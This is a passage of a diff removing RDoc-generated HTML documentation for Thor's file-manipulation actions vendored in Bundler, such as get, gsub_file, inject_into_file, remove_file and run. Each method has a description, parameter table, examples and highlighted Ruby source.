-137:       <span class="ruby-keyword kw">unless</span> <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">class</span>.<span class="ruby-identifier">source_root</span>
-138:         <span class="ruby-identifier">message</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">&quot;Please invoke #{self.class.name}.source_root(PATH) with the PATH containing your templates. &quot;</span>
-139:       <span class="ruby-keyword kw">end</span>
-140: 
-141:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">source_paths</span>.<span class="ruby-identifier">empty?</span>
-142:         <span class="ruby-identifier">message</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-value str">&quot;Currently you have no source paths.&quot;</span>
-143:       <span class="ruby-keyword kw">else</span>
-144:         <span class="ruby-identifier">message</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">&quot;Your current source paths are: \n#{source_paths.join(&quot;\n&quot;)}&quot;</span>
-145:       <span class="ruby-keyword kw">end</span>
-146: 
-147:       <span class="ruby-identifier">raise</span> <span class="ruby-constant">Error</span>, <span class="ruby-identifier">message</span>
-148:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="get-method" class="method-detail ">
-				<a name="method-i-get"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">get</span><span
-						class="method-args">(source, *args, &block)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Gets the content at the given address and places it at the given relative
-destination. If a block is given instead of destination, the content of the
-url is yielded and used as location.
-</p>
-<h4>Parameters</h4>
-<table>
-<tr><td valign="top">source<String></td><td><p>
-the address of the given content.
-</p>
-</td></tr>
-<tr><td valign="top">destination<String></td><td><p>
-the relative path to the destination root.
-</p>
-</td></tr>
-<tr><td valign="top">config<Hash></td><td><p>
-give :verbose => false to not log the status.
-</p>
-</td></tr>
-</table>
-<h4>Examples</h4>
-<pre>
-  get &quot;http://gist.github.com/103208&quot;, &quot;doc/README&quot;
-
-  get &quot;http://gist.github.com/103208&quot; do |content|
-    content.split(&quot;\n&quot;).first
-  end</pre>
-					
-
-					
-					<div class="method-source-code"
-						id="get-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/actions/file_manipulation.rb, line 50</span>
-50:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">get</span>(<span class="ruby-identifier">source</span>, *<span class="ruby-identifier">args</span>, &amp;<span class="ruby-identifier">block</span>)
-51:       <span class="ruby-identifier">config</span> = <span class="ruby-identifier">args</span>.<span class="ruby-identifier">last</span>.<span class="ruby-identifier">is_a?</span>(<span class="ruby-constant">Hash</span>) <span class="ruby-operator">?</span> <span class="ruby-identifier">args</span>.<span class="ruby-identifier">pop</span> <span class="ruby-operator">:</span> {}
-52:       <span class="ruby-identifier">destination</span> = <span class="ruby-identifier">args</span>.<span class="ruby-identifier">first</span>
-53: 
-54:       <span class="ruby-identifier">source</span> = <span class="ruby-constant">File</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-identifier">find_in_source_paths</span>(<span class="ruby-identifier">source</span>.<span class="ruby-identifier">to_s</span>)) <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">source</span> <span class="ruby-operator">=~</span> <span class="ruby-regexp re">/^http\:\/\//</span>
-55:       <span class="ruby-identifier">render</span> = <span class="ruby-identifier">open</span>(<span class="ruby-identifier">source</span>) {<span class="ruby-operator">|</span><span class="ruby-identifier">input</span><span class="ruby-operator">|</span> <span class="ruby-identifier">input</span>.<span class="ruby-identifier">binmode</span>.<span class="ruby-identifier">read</span> }
-56: 
-57:       <span class="ruby-identifier">destination</span> <span class="ruby-operator">||=</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">block_given?</span>
-58:         <span class="ruby-identifier">block</span>.<span class="ruby-identifier">arity</span> <span class="ruby-operator">==</span> <span class="ruby-value">1</span> <span class="ruby-operator">?</span> <span class="ruby-identifier">block</span>.<span class="ruby-identifier">call</span>(<span class="ruby-identifier">render</span>) <span class="ruby-operator">:</span> <span class="ruby-identifier">block</span>.<span class="ruby-identifier">call</span>
-59:       <span class="ruby-keyword kw">else</span>
-60:         <span class="ruby-constant">File</span>.<span class="ruby-identifier">basename</span>(<span class="ruby-identifier">source</span>)
-61:       <span class="ruby-keyword kw">end</span>
-62: 
-63:       <span class="ruby-identifier">create_file</span> <span class="ruby-identifier">destination</span>, <span class="ruby-identifier">render</span>, <span class="ruby-identifier">config</span>
-64:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="gsub-file-method" class="method-detail ">
-				<a name="method-i-gsub_file"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">gsub_file</span><span
-						class="method-args">(path, flag, *args, &block)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Run a regular expression replacement on a file.
-</p>
-<h4>Parameters</h4>
-<table>
-<tr><td valign="top">path<String></td><td><p>
-path of the file to be changed
-</p>
-</td></tr>
-<tr><td valign="top">flag<Regexp|String></td><td><p>
-the regexp or string to be replaced
-</p>
-</td></tr>
-<tr><td valign="top">replacement<String></td><td><p>
-the replacement, can be also given as a block
-</p>
-</td></tr>
-<tr><td valign="top">config<Hash></td><td><p>
-give :verbose => false to not log the status.
-</p>
-</td></tr>
-</table>
-<h4>Example</h4>
-<pre>
-  gsub_file 'app/controllers/application_controller.rb', /#\s*(filter_parameter_logging :password)/, '\1'
-
-  gsub_file 'README', /rake/, :green do |match|
-    match &lt;&lt; &quot; no more. Use thor!&quot;
-  end</pre>
-					
-
-					
-					<div class="method-source-code"
-						id="gsub-file-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/actions/file_manipulation.rb, line 194</span>
-194:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">gsub_file</span>(<span class="ruby-identifier">path</span>, <span class="ruby-identifier">flag</span>, *<span class="ruby-identifier">args</span>, &amp;<span class="ruby-identifier">block</span>)
-195:       <span class="ruby-keyword kw">return</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">behavior</span> <span class="ruby-operator">==</span> <span class="ruby-value">:invoke</span>
-196:       <span class="ruby-identifier">config</span> = <span class="ruby-identifier">args</span>.<span class="ruby-identifier">last</span>.<span class="ruby-identifier">is_a?</span>(<span class="ruby-constant">Hash</span>) <span class="ruby-operator">?</span> <span class="ruby-identifier">args</span>.<span class="ruby-identifier">pop</span> <span class="ruby-operator">:</span> {}
-197: 
-198:       <span class="ruby-identifier">path</span> = <span class="ruby-constant">File</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-identifier">path</span>, <span class="ruby-identifier">destination_root</span>)
-199:       <span class="ruby-identifier">say_status</span> <span class="ruby-value">:gsub</span>, <span class="ruby-identifier">relative_to_original_destination_root</span>(<span class="ruby-identifier">path</span>), <span class="ruby-identifier">config</span>.<span class="ruby-identifier">fetch</span>(<span class="ruby-value">:verbose</span>, <span class="ruby-keyword kw">true</span>)
-200: 
-201:       <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:pretend</span>]
-202:         <span class="ruby-identifier">content</span> = <span class="ruby-constant">File</span>.<span class="ruby-identifier">binread</span>(<span class="ruby-identifier">path</span>)
-203:         <span class="ruby-identifier">content</span>.<span class="ruby-identifier">gsub!</span>(<span class="ruby-identifier">flag</span>, *<span class="ruby-identifier">args</span>, &amp;<span class="ruby-identifier">block</span>)
-204:         <span class="ruby-constant">File</span>.<span class="ruby-identifier">open</span>(<span class="ruby-identifier">path</span>, <span class="ruby-value str">'wb'</span>) { <span class="ruby-operator">|</span><span class="ruby-identifier">file</span><span class="ruby-operator">|</span> <span class="ruby-identifier">file</span>.<span class="ruby-identifier">write</span>(<span class="ruby-identifier">content</span>) }
-205:       <span class="ruby-keyword kw">end</span>
-206:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="in-root-method" class="method-detail ">
-				<a name="method-i-in_root"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">in_root</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Goes to the root and execute the given block.
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="in-root-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/actions.rb, line 175</span>
-175:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">in_root</span>
-176:       <span class="ruby-identifier">inside</span>(<span class="ruby-ivar">@destination_stack</span>.<span class="ruby-identifier">first</span>) { <span class="ruby-keyword kw">yield</span> }
-177:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="inject-into-class-method" class="method-detail ">
-				<a name="method-i-inject_into_class"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">inject_into_class</span><span
-						class="method-args">(path, klass, *args, &block)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Injects text right after the class definition. Since it depends on <a
-href="Actions.html#method-i-inject_into_file">inject_into_file</a>,
-it&#8217;s reversible.
-</p>
-<h4>Parameters</h4>
-<table>
-<tr><td valign="top">path<String></td><td><p>
-path of the file to be changed
-</p>
-</td></tr>
-<tr><td valign="top">klass<String|Class></td><td><p>
-the class to be manipulated
-</p>
-</td></tr>
-<tr><td valign="top">data<String></td><td><p>
-the data to append to the class, can be also given as a block.
-</p>
-</td></tr>
-<tr><td valign="top">config<Hash></td><td><p>
-give :verbose => false to not log the status.
-</p>
-</td></tr>
-</table>
-<h4>Examples</h4>
-<pre>
-  inject_into_class &quot;app/controllers/application_controller.rb&quot;, &quot;  filter_parameter :password\n&quot;
-
-  inject_into_class &quot;app/controllers/application_controller.rb&quot;, ApplicationController do
-    &quot;  filter_parameter :password\n&quot;
-  end</pre>
-					
-
-					
-					<div class="method-source-code"
-						id="inject-into-class-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/actions/file_manipulation.rb, line 172</span>
-172:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">inject_into_class</span>(<span class="ruby-identifier">path</span>, <span class="ruby-identifier">klass</span>, *<span class="ruby-identifier">args</span>, &amp;<span class="ruby-identifier">block</span>)
-173:       <span class="ruby-identifier">config</span> = <span class="ruby-identifier">args</span>.<span class="ruby-identifier">last</span>.<span class="ruby-identifier">is_a?</span>(<span class="ruby-constant">Hash</span>) <span class="ruby-operator">?</span> <span class="ruby-identifier">args</span>.<span class="ruby-identifier">pop</span> <span class="ruby-operator">:</span> {}
-174:       <span class="ruby-identifier">config</span>.<span class="ruby-identifier">merge!</span>(<span class="ruby-value">:after</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-node">/class #{klass}\n|class #{klass} .*\n/</span>)
-175:       <span class="ruby-identifier">inject_into_file</span>(<span class="ruby-identifier">path</span>, *(<span class="ruby-identifier">args</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">config</span>), &amp;<span class="ruby-identifier">block</span>)
-176:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="inject-into-file-method" class="method-detail ">
-				<a name="method-i-inject_into_file"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">inject_into_file</span><span
-						class="method-args">(destination, *args, &block)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Injects the given content into a file. Different from <a
-href="Actions.html#method-i-gsub_file">gsub_file</a>, this method is
-reversible.
-</p>
-<h4>Parameters</h4>
-<table>
-<tr><td valign="top">destination<String></td><td><p>
-Relative path to the destination root
-</p>
-</td></tr>
-<tr><td valign="top">data<String></td><td><p>
-Data to add to the file. Can be given as a block.
-</p>
-</td></tr>
-<tr><td valign="top">config<Hash></td><td><p>
-give :verbose => false to not log the status and the flag for injection
-(:after or :before) or :force => true for  insert two or more times the
-same content.
-</p>
-</td></tr>
-</table>
-<h4>Examples</h4>
-<pre>
-  inject_into_file &quot;config/environment.rb&quot;, &quot;config.gem :thor&quot;, :after =&gt; &quot;Rails::Initializer.run do |config|\n&quot;
-
-  inject_into_file &quot;config/environment.rb&quot;, :after =&gt; &quot;Rails::Initializer.run do |config|\n&quot; do
-    gems = ask &quot;Which gems would you like to add?&quot;
-    gems.split(&quot; &quot;).map{ |gem| &quot;  config.gem :#{gem}&quot; }.join(&quot;\n&quot;)
-  end</pre>
-					
-
-					
-					<div class="method-source-code"
-						id="inject-into-file-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/actions/inject_into_file.rb, line 25</span>
-25:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">inject_into_file</span>(<span class="ruby-identifier">destination</span>, *<span class="ruby-identifier">args</span>, &amp;<span class="ruby-identifier">block</span>)
-26:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">block_given?</span>
-27:         <span class="ruby-identifier">data</span>, <span class="ruby-identifier">config</span> = <span class="ruby-identifier">block</span>, <span class="ruby-identifier">args</span>.<span class="ruby-identifier">shift</span>
-28:       <span class="ruby-keyword kw">else</span>
-29:         <span class="ruby-identifier">data</span>, <span class="ruby-identifier">config</span> = <span class="ruby-identifier">args</span>.<span class="ruby-identifier">shift</span>, <span class="ruby-identifier">args</span>.<span class="ruby-identifier">shift</span>
-30:       <span class="ruby-keyword kw">end</span>
-31:       <span class="ruby-identifier">action</span> <span class="ruby-constant">InjectIntoFile</span>.<span class="ruby-identifier">new</span>(<span class="ruby-keyword kw">self</span>, <span class="ruby-identifier">destination</span>, <span class="ruby-identifier">data</span>, <span class="ruby-identifier">config</span>)
-32:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="inside-method" class="method-detail ">
-				<a name="method-i-inside"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">inside</span><span
-						class="method-args">(dir='', config={}, &block)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Do something in the root or on a provided subfolder. If a relative path is
-given it&#8217;s referenced from the current root. The full path is yielded
-to the block you provide. The path is set back to the previous path when
-the method exits.
-</p>
-<h4>Parameters</h4>
-<table>
-<tr><td valign="top">dir<String></td><td><p>
-the directory to move to.
-</p>
-</td></tr>
-<tr><td valign="top">config<Hash></td><td><p>
-give :verbose => true to log and use padding.
-</p>
-</td></tr>
-</table>
-					
-
-					
-					<div class="method-source-code"
-						id="inside-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/actions.rb, line 159</span>
-159:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">inside</span>(<span class="ruby-identifier">dir</span>=<span class="ruby-value str">''</span>, <span class="ruby-identifier">config</span>={}, &amp;<span class="ruby-identifier">block</span>)
-160:       <span class="ruby-identifier">verbose</span> = <span class="ruby-identifier">config</span>.<span class="ruby-identifier">fetch</span>(<span class="ruby-value">:verbose</span>, <span class="ruby-keyword kw">false</span>)
-161: 
-162:       <span class="ruby-identifier">say_status</span> <span class="ruby-value">:inside</span>, <span class="ruby-identifier">dir</span>, <span class="ruby-identifier">verbose</span>
-163:       <span class="ruby-identifier">shell</span>.<span class="ruby-identifier">padding</span> <span class="ruby-operator">+=</span> <span class="ruby-value">1</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">verbose</span>
-164:       <span class="ruby-ivar">@destination_stack</span>.<span class="ruby-identifier">push</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-identifier">dir</span>, <span class="ruby-identifier">destination_root</span>)
-165: 
-166:       <span class="ruby-constant">FileUtils</span>.<span class="ruby-identifier">mkdir_p</span>(<span class="ruby-identifier">destination_root</span>) <span class="ruby-keyword kw">unless</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">exist?</span>(<span class="ruby-identifier">destination_root</span>)
-167:       <span class="ruby-constant">FileUtils</span>.<span class="ruby-identifier">cd</span>(<span class="ruby-identifier">destination_root</span>) { <span class="ruby-identifier">block</span>.<span class="ruby-identifier">arity</span> <span class="ruby-operator">==</span> <span class="ruby-value">1</span> <span class="ruby-operator">?</span> <span class="ruby-keyword kw">yield</span>(<span class="ruby-identifier">destination_root</span>) <span class="ruby-operator">:</span> <span class="ruby-keyword kw">yield</span> }
-168: 
-169:       <span class="ruby-ivar">@destination_stack</span>.<span class="ruby-identifier">pop</span>
-170:       <span class="ruby-identifier">shell</span>.<span class="ruby-identifier">padding</span> <span class="ruby-operator">-=</span> <span class="ruby-value">1</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">verbose</span>
-171:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="prepend-file-method" class="method-detail ">
-				<a name="method-i-prepend_file"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">prepend_file</span><span
-						class="method-args">(path, *args, &block)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Prepend text to a file. Since it depends on <a
-href="Actions.html#method-i-inject_into_file">inject_into_file</a>,
-it&#8217;s reversible.
-</p>
-<h4>Parameters</h4>
-<table>
-<tr><td valign="top">path<String></td><td><p>
-path of the file to be changed
-</p>
-</td></tr>
-<tr><td valign="top">data<String></td><td><p>
-the data to prepend to the file, can be also given as a block.
-</p>
-</td></tr>
-<tr><td valign="top">config<Hash></td><td><p>
-give :verbose => false to not log the status.
-</p>
-</td></tr>
-</table>
-<h4>Example</h4>
-<pre>
-  prepend_file 'config/environments/test.rb', 'config.gem &quot;rspec&quot;'
-
-  prepend_file 'config/environments/test.rb' do
-    'config.gem &quot;rspec&quot;'
-  end</pre>
-					
-
-					
-					<div class="method-source-code"
-						id="prepend-file-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/actions/file_manipulation.rb, line 128</span>
-128:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">prepend_file</span>(<span class="ruby-identifier">path</span>, *<span class="ruby-identifier">args</span>, &amp;<span class="ruby-identifier">block</span>)
-129:       <span class="ruby-identifier">config</span> = <span class="ruby-identifier">args</span>.<span class="ruby-identifier">last</span>.<span class="ruby-identifier">is_a?</span>(<span class="ruby-constant">Hash</span>) <span class="ruby-operator">?</span> <span class="ruby-identifier">args</span>.<span class="ruby-identifier">pop</span> <span class="ruby-operator">:</span> {}
-130:       <span class="ruby-identifier">config</span>.<span class="ruby-identifier">merge!</span>(<span class="ruby-value">:after</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-regexp re">/\A/</span>)
-131:       <span class="ruby-identifier">inject_into_file</span>(<span class="ruby-identifier">path</span>, *(<span class="ruby-identifier">args</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">config</span>), &amp;<span class="ruby-identifier">block</span>)
-132:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="relative-to-original-destination-root-method" class="method-detail ">
-				<a name="method-i-relative_to_original_destination_root"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">relative_to_original_destination_root</span><span
-						class="method-args">(path, remove_dot=true)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Returns the given path relative to the absolute root (ie, root where the
-script started).
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="relative-to-original-destination-root-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/actions.rb, line 114</span>
-114:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">relative_to_original_destination_root</span>(<span class="ruby-identifier">path</span>, <span class="ruby-identifier">remove_dot</span>=<span class="ruby-keyword kw">true</span>)
-115:       <span class="ruby-identifier">path</span> = <span class="ruby-identifier">path</span>.<span class="ruby-identifier">gsub</span>(<span class="ruby-ivar">@destination_stack</span>[<span class="ruby-value">0</span>], <span class="ruby-value str">'.'</span>)
-116:       <span class="ruby-identifier">remove_dot</span> <span class="ruby-operator">?</span> (<span class="ruby-identifier">path</span>[<span class="ruby-value">2</span><span class="ruby-operator">..</span><span class="ruby-value">1</span>] <span class="ruby-operator">||</span> <span class="ruby-value str">''</span>) <span class="ruby-operator">:</span> <span class="ruby-identifier">path</span>
-117:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="remove-dir-method" class="method-detail method-alias">
-				<a name="method-i-remove_dir"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">remove_dir</span><span
-						class="method-args">(path, config={})</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-				</div>
-
-				
-
-				
-				<div class="aliases">
-          Alias for: <a href="Actions.html#method-i-remove_file">remove_file</a>
-				</div>
-				
-			</div>
-
-		
-			<div id="remove-file-method" class="method-detail ">
-				<a name="method-i-remove_file"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">remove_file</span><span
-						class="method-args">(path, config={})</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Removes a file at the given location.
-</p>
-<h4>Parameters</h4>
-<table>
-<tr><td valign="top">path<String></td><td><p>
-path of the file to be changed
-</p>
-</td></tr>
-<tr><td valign="top">config<Hash></td><td><p>
-give :verbose => false to not log the status.
-</p>
-</td></tr>
-</table>
-<h4>Example</h4>
-<pre>
-  remove_file 'README'
-  remove_file 'app/controllers/application_controller.rb'</pre>
-					
-
-					
-					<div class="method-source-code"
-						id="remove-file-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/actions/file_manipulation.rb, line 219</span>
-219:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">remove_file</span>(<span class="ruby-identifier">path</span>, <span class="ruby-identifier">config</span>={})
-220:       <span class="ruby-keyword kw">return</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">behavior</span> <span class="ruby-operator">==</span> <span class="ruby-value">:invoke</span>
-221:       <span class="ruby-identifier">path</span>  = <span class="ruby-constant">File</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-identifier">path</span>, <span class="ruby-identifier">destination_root</span>)
-222: 
-223:       <span class="ruby-identifier">say_status</span> <span class="ruby-value">:remove</span>, <span class="ruby-identifier">relative_to_original_destination_root</span>(<span class="ruby-identifier">path</span>), <span class="ruby-identifier">config</span>.<span class="ruby-identifier">fetch</span>(<span class="ruby-value">:verbose</span>, <span class="ruby-keyword kw">true</span>)
-224:       <span class="ruby-operator">::</span><span class="ruby-constant">FileUtils</span>.<span class="ruby-identifier">rm_rf</span>(<span class="ruby-identifier">path</span>) <span class="ruby-keyword kw">if</span> <span class="ruby-operator">!</span><span class="ruby-identifier">options</span>[<span class="ruby-value">:pretend</span>] <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">exists?</span>(<span class="ruby-identifier">path</span>)
-225:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-				<div class="aliases">
-					Also aliased as: <a href="Actions.html#method-i-remove_dir">remove_dir</a>
-				</div>
-				
-
-				
-			</div>
-
-		
-			<div id="run-method" class="method-detail ">
-				<a name="method-i-run"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">run</span><span
-						class="method-args">(command, config={})</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Executes a command returning the contents of the command.
-</p>
-<h4>Parameters</h4>
-<table>
-<tr><td valign="top">command<String></td><td><p>
-the command to be executed.
-</p>
-</td></tr>
-<tr><td valign="top">config<Hash></td><td><p>
-give :verbose => false to not log the status. Specify :with to append an
-executable to command executation.
-</p>
-</td></tr>
-</table>
-<h4>Example</h4>
-<pre>
-  inside('vendor') do
-    run('ln -s ~/edge rails')
-  end</pre>
-					
-
-					
-					<div class="method-source-code"
-						id="run-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/actions.rb, line 222</span>
-222:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">run</span>(<span class="ruby-identifier">command</span>, <span class="ruby-identifier">config</span>={})
-223:       <span class="ruby-keyword kw">return</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">behavior</span> <span class="ruby-operator">==</span> <span class="ruby-value">:invoke</span>
-224: 
-225:       <span class="ruby-identifier">destination</span> = <span class="ruby-identifier">relative_to_original_destination_root</span>(<span class="ruby-identifier">destination_root</span>, <span class="ruby-keyword kw">false</span>)
-226:       <span class="ruby-identifier">desc</span> = <span class="ruby-node">&quot;#{command} from #{destination.inspect}&quot;</span>
-227: 
-228:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">config</span>[<span class="ruby-value">:with</span>]
-229:         <span class="ruby-identifier">desc</span> = <span class="ruby-node">&quot;#{File.basename(config[:with].to_s)} #{desc}&quot;</span>
-230:         <span class="ruby-identifier">command</span> = <span class="ruby-node">&quot;#{config[:with]} #{command}&quot;</span>
-231:       <span class="ruby-keyword kw">end</span>
-232: 
-233:       <span class="ruby-identifier">say_status</span> <span class="ruby-value">:run</span>, <span class="ruby-identifier">desc</span>, <span class="ruby-identifier">config</span>.<span class="ruby-identifier">fetch</span>(<span class="ruby-value">:verbose</span>, <span class="ruby-keyword kw">true</span>)
-234:       <span class="ruby-node">`#{command}`</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:pretend</span>]
-235:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="run-ruby-script-method" class="method-detail ">
-				<a name="method-i-run_ruby_script"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">run_ruby_script</span><span
-						class="method-args">(command, config={})</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Executes a ruby script (taking into account WIN32 platform quirks).
-</p>
-<h4>Parameters</h4>
-<table>
-<tr><td valign="top">command<String></td><td><p>
-the command to be executed.
-</p>
-</td></tr>
-<tr><td valign="top">config<Hash></td><td><p>
-give :verbose => false to not log the status.
-</p>
-</td></tr>
-</table>
-					
-
-					
-					<div class="method-source-code"
-						id="run-ruby-script-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/actions.rb, line 243</span>
-243:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">run_ruby_script</span>(<span class="ruby-identifier">command</span>, <span class="ruby-identifier">config</span>={})
-244:       <span class="ruby-keyword kw">return</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">behavior</span> <span class="ruby-operator">==</span> <span class="ruby-value">:invoke</span>
-245:       <span class="ruby-identifier">run</span> <span class="ruby-identifier">command</span>, <span class="ruby-identifier">config</span>.<span class="ruby-identifier">merge</span>(<span class="ruby-value">:with</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-constant">Thor</span><span class="ruby-operator">::</span><span class="ruby-constant">Util</span>.<span class="ruby-identifier">ruby_command</span>)
-246:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="source-paths-method" class="method-detail ">
-				<a name="method-i-source_paths"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">source_paths</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Holds source paths in instance so they can be manipulated.
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="source-paths-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/actions.rb, line 121</span>
-121:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">source_paths</span>
-122:       <span class="ruby-ivar">@source_paths</span> <span class="ruby-operator">||=</span> <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">class</span>.<span class="ruby-identifier">source_paths_for_search</span>
-123:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="template-method" class="method-detail ">
-				<a name="method-i-template"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">template</span><span
-						class="method-args">(source, *args, &block)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Gets an ERB template at the relative source, executes it and makes a copy
-at the relative destination. If the destination is not given it&#8217;s
-assumed to be equal to the source removing .tt from the filename.
-</p>
-<h4>Parameters</h4>
-<table>
-<tr><td valign="top">source<String></td><td><p>
-the relative path to the source root.
-</p>
-</td></tr>
-<tr><td valign="top">destination<String></td><td><p>
-the relative path to the destination root.
-</p>
-</td></tr>
-<tr><td valign="top">config<Hash></td><td><p>
-give :verbose => false to not log the status.
-</p>
-</td></tr>
-</table>
-<h4>Examples</h4>
-<pre>
-  template &quot;README&quot;, &quot;doc/README&quot;
-
-  template &quot;doc/README&quot;</pre>
-					
-
-					
-					<div class="method-source-code"
-						id="template-source">
-<pre>
